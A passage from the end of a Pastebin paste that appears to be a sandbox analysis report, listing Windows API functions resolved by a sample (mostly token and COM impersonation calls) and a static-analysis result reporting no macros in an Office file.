  4454. "kernel32.dll.OpenProcessToken",
  4455. "kernelbase.dll.GetTokenInformation",
  4456. "kernelbase.dll.DuplicateTokenEx",
  4457. "kernelbase.dll.AdjustTokenPrivileges",
  4458. "kernel32.dll.SetThreadToken",
  4459. "kernelbase.dll.CheckTokenMembership",
  4460. "oleaut32.dll.#17",
  4461. "oleaut32.dll.#20",
  4462. "oleaut32.dll.#19",
  4463. "oleaut32.dll.#25",
  4464. "authz.dll.AuthzInitializeContextFromSid",
  4465. "ole32.dll.CoGetCallContext",
  4466. "ole32.dll.CoImpersonateClient",
  4467. "advapi32.dll.OpenThreadToken",
  4468. "ole32.dll.CoRevertToSelf",
  4469. "ole32.dll.CoSwitchCallContext",
  4470. "advapi32.dll.CryptAcquireContextW",
  4471. "shlwapi.dll.PathIsDirectoryW",
  4472. "ole32.dll.CLSIDFromOle1Class",
  4473. "clbcatq.dll.GetCatalogObject",
  4474. "clbcatq.dll.GetCatalogObject2",
  4475. "shlwapi.dll.PathIsPrefixW"
  4476. ]
  4477.  
  4478. [*] Static Analysis: {
  4479. "office": {
  4480. "Metadata": {
  4481. "HasMacros": "No"
  4482. }
  4483. }
  4484. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!